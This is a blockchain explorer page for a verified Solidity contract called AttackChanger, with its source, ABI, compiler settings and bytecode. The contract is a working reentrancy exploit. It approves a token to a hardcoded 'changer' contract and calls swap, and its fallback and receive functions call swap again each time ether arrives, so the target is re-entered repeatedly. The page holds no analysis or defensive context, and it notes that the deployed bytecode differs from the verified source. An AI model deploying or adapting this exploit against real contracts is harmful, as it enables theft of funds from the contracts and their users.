Transactions
Token Transfers
Tokens
Internal Transactions
Coin Balance History
Code
Read Contract
Write Contract
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
- Contract name:
- AttackChanger
- Optimization enabled
- false
- Compiler version
- v0.8.19+commit.7dd6d404
- EVM Version
- default
- Verified at
- 2024-07-11T11:43:56.747854Z
contracts/AttackChanger.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IChanger { function swap(uint256) external; } interface IERC20 { function approve(address, uint256) external; } contract AttackChanger { address public token = 0x325636945A819DE3a693d827CCFb693C8da4048C; address public changer = 0x6B63819Bc417eB4D23b040e735cb98763453Ed17; fallback() external payable { IChanger(changer).swap(0.365 ether); } receive() external payable { IChanger(changer).swap(0.365 ether); } function attack() external { IERC20(token).approve(changer, 2e19); IChanger(changer).swap(0.365 ether); } }
Compiler Settings
{"outputSelection":{"*":{"*":["abi","evm.bytecode","evm.deployedBytecode","evm.methodIdentifiers","metadata","storageLayout"],"":["ast"]}},"optimizer":{"runs":200,"enabled":false},"libraries":{}}
Contract ABI
[{"type":"fallback","stateMutability":"payable"},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"attack","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"changer","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"token","inputs":[]},{"type":"receive","stateMutability":"payable"}]
Contract Creation Code
0x608060405273325636945a819de3a693d827ccfb693c8da4048c6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736b63819bc417eb4d23b040e735cb98763453ed17600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506104c9806100c96000396000f3fe6080604052600436106100385760003560e01c806311b0ea16146101635780639e5faafc1461018e578063fc0c546a146101a5576100d0565b366100d057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b81526004016100a091906103b8565b600060405180830381600087803b1580156100ba57600080fd5b505af11580156100ce573d6000803e3d6000fd5b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161013391906103b8565b600060405180830381600087803b15801561014d57600080fd5b505af1158015610161573d6000803e3d6000fd5b005b34801561016f57600080fd5b506101786101d0565b6040516101859190610414565b60405180910390f35b34801561019a57600080fd5b506101a36101f6565b005b3480156101b157600080fd5b506101ba610345565b6040516101c79190610414565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b815260040161027c92919061046a565b600060405180830381600087803b15801561029657600080fd5b505af11580156102aa573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161031191906103b8565b600060405180830381600087803b15801561032b57600080fd5b505af115801561033f573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b6000819050919050565b6000819050919050565b60006103a261039d61039884610369565b61037d565b610373565b9050919050565b6103b281610387565b82525050565b60006020820190506103cd60008301846103a9565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103fe826103d3565b9050919050565b61040e816103f3565b82525050565b60006020820190506104296000830184610405565b92915050565b6000819050919050565b600061045461044f61044a8461042f565b61037d565b610373565b9050919050565b61046481610439565b82525050565b600060408201905061047f6000830185610405565b61048c602083018461045b565b939250505056fea26469706673582212207ed2f02b91edc00adc90a24c1ea5e6e53df9c333d73555a4b36519c9b45eb7f864736f6c63430008130033
Deployed ByteCode
0x6080604052600436106100385760003560e01c806311b0ea16146101635780639e5faafc1461018e578063fc0c546a146101a5576100d0565b366100d057600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b81526004016100a091906103b8565b600060405180830381600087803b1580156100ba57600080fd5b505af11580156100ce573d6000803e3d6000fd5b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161013391906103b8565b600060405180830381600087803b15801561014d57600080fd5b505af1158015610161573d6000803e3d6000fd5b005b34801561016f57600080fd5b506101786101d0565b6040516101859190610414565b60405180910390f35b34801561019a57600080fd5b506101a36101f6565b005b3480156101b157600080fd5b506101ba610345565b6040516101c79190610414565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b815260040161027c92919061046a565b600060405180830381600087803b15801561029657600080fd5b505af11580156102aa573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b815260040161031191906103b8565b600060405180830381600087803b15801561032b57600080fd5b505af115801561033f573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000819050919050565b6000819050919050565b6000819050919050565b60006103a261039d61039884610369565b61037d565b610373565b9050919050565b6103b281610387565b82525050565b60006020820190506103cd60008301846103a9565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103fe826103d3565b9050919050565b61040e816103f3565b82525050565b60006020820190506104296000830184610405565b92915050565b6000819050919050565b600061045461044f61044a8461042f565b61037d565b610373565b9050919050565b61046481610439565b82525050565b600060408201905061047f6000830185610405565b61048c602083018461045b565b939250505056fea26469706673582212207ed2f02b91edc00adc90a24c1ea5e6e53df9c333d73555a4b36519c9b45eb7f864736f6c63430008130033